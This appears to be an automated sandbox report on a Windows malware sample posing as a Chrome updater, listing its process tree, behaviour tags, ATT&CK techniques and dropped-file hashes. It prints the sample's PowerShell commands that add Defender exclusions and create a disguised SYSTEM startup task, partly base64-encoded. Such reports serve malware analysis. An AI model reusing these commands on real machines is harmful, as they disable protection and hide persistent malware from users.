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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:524
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1120 -
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:1976
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
PID:4788
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1140
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1148
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1156
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1236
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1304
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1320
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1436
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1452
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2884
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1496
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1508
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1652
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1696
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1732
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1776
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1808
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1904
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1916
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1956
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:2040
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:1816
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2204
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2216
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2252
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2476
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2500
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
- Enumerates connected drives
PID:2508
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2520
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2620
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2660
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2668
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:2896
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2904
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:3124
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3428
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3524
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C:\Users\Admin\AppData\Local\Temp\IdkWhatsGoingOn.exe"C:\Users\Admin\AppData\Local\Temp\IdkWhatsGoingOn.exe"2⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4388 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGsAbQBtACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGYAcQBmACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAVwBBAFIATgBJAE4ARwA6ACAATgBvACAAVgBpAHMAdQBhAGwAIABDACsAKwAgAGkAbgBzAHQAYQBsAGwAYQB0AGkAbwBuACAAdwBhAHMAIABmAG8AdQBuAGQALgAgAFAAbABlAGEAcwBlACAAZABvAHcAbgBsAG8AYQBkACAAYQBuAGQAIABpAG4AcwB0AGEAbABsACAAVgBpAHMAdQBhAGwAIABTAHQAdQBkAGkAbwAgADIAMAAxADcAIAB3AGkAdABoACAAQwArACsAIABjAG8AbQBwAG8AbgBlAG4AdABzAC4AJwAsACcAJwAsACcATwBLACcALAAnAEUAcgByAG8AcgAnACkAPAAjAHEAegBlACMAPgA="3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:956 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:1708
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGUAbgB3ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHoAcQBnACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHUAcQBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGsAeQByACMAPgA="3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1612
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C:\Users\Admin\AppData\Local\Temp\Google ChromeUP.exe"C:\Users\Admin\AppData\Local\Temp\Google ChromeUP.exe"3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3736
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4900
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C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5088
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#huipikb#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4748 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:2340
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C:\Windows\System32\schtasks.exeC:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"2⤵PID:2696
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:1952
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1628 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:3100
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C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵PID:2772
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#huipikb#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2984 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:1504
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C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵PID:4052
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C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵PID:2332
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3656
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3856
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4012
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Suspicious use of UnmapMainImage
PID:2760
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:4948
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:2200
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:1824
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵PID:5116
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:3340
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:2688
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:3928
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:716
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:2136
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:5072
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C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:ShellFeedsUI.AppXnj65k2d1a1rnztt2t2nng5ctmk3e76pn.mca1⤵PID:2432
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C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe 1fe741d1837246fa539a20da68ed4753 FkJiRoA/d02GB5GEmDCQCw.0.1.0.0.01⤵
- Sets service image path in registry
- Modifies data under HKEY_USERS
PID:4132 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV12⤵PID:384
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵PID:1464
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵
- Drops file in Windows directory
PID:2380
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C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵
- Drops file in Windows directory
PID:1744
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵
- Checks processor information in registry
PID:1248
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C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:4820
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C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exeC:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding1⤵PID:1672
Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Defense Evasion
Indicator Removal
1Clear Windows Event Logs
1Modify Registry
1Obfuscated Files or Information
1Command Obfuscation
1Replay Monitor
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Downloads
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD59b80cd7a712469a4c45fec564313d9eb
SHA16125c01bc10d204ca36ad1110afe714678655f2d
SHA2565a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d
SHA512ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584
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Filesize
18KB
MD5d400af5a5dac1f5224e100477995e893
SHA16620a0b9c58cbc59805c6e6a6bad9ca4f03bbf00
SHA2562a1d0f6953cd08dce98a116f28c929e81bd0bf5382928a2d0393a5a391225e9c
SHA51265a577b9194c60ca29cab90f3640f0cc60ce6076b35c0e5f1e5396a7056d280b1d9680d705dbcb0544758eb3b72dfcdd21bc311a0272656086b33d59ebac91f7
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C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749
Filesize290B
MD528079bc780c6ada19539e79982345863
SHA114d4d754b3b45f55dadc782fb4a0d48a544fe293
SHA2562a64577a3326cdab64eef22c2c6d92ba9ece04fe31203a2af19400615aef0a98
SHA5128c0ff7ef5368ffba08fe69a4850cbef288e5920485e8931ccb00c6bc24868a5e16e1a00a9da7769a25e1ca093a8c8b721283a58fe2504d8c062bae7a188e9ea6
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Filesize
5.7MB
MD5d394c4b7b88447da08acf97d1b94594b
SHA129af6911ca953185de35fe639a4440b5398247dc
SHA2565ff8dc3580c159851710de06c8d644560c4181d577f148085161e28461075aaa
SHA512a9ba312134bb6a2aa0cd0779b3cb092986106d07a127e2cd7b85a42e81c6557d6cafe003c00cfbc92b7cd994e0fe358f87753bfd27f371a0d023b32dd78788e7
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
2KB
MD58abf2d6067c6f3191a015f84aa9b6efe
SHA198f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7
SHA256ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea
SHA512c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63
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Filesize
2KB
MD5f313c5b4f95605026428425586317353
SHA106be66fa06e1cffc54459c38d3d258f46669d01a
SHA256129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b
SHA512b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890
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Filesize
2KB
MD57d612892b20e70250dbd00d0cdd4f09b
SHA163251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5
SHA256727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02
SHA512f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1
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Filesize
2KB
MD51e8e2076314d54dd72e7ee09ff8a52ab
SHA15fd0a67671430f66237f483eef39ff599b892272
SHA25655f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f
SHA5125b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6
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Filesize
2KB
MD50b990e24f1e839462c0ac35fef1d119e
SHA19e17905f8f68f9ce0a2024d57b537aa8b39c6708
SHA256a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a
SHA512c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize4KB
MD5bdb25c22d14ec917e30faf353826c5de
SHA16c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA256e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
SHA512b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5b42c70c1dbf0d1d477ec86902db9e986
SHA11d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA2568ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
SHA51257fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5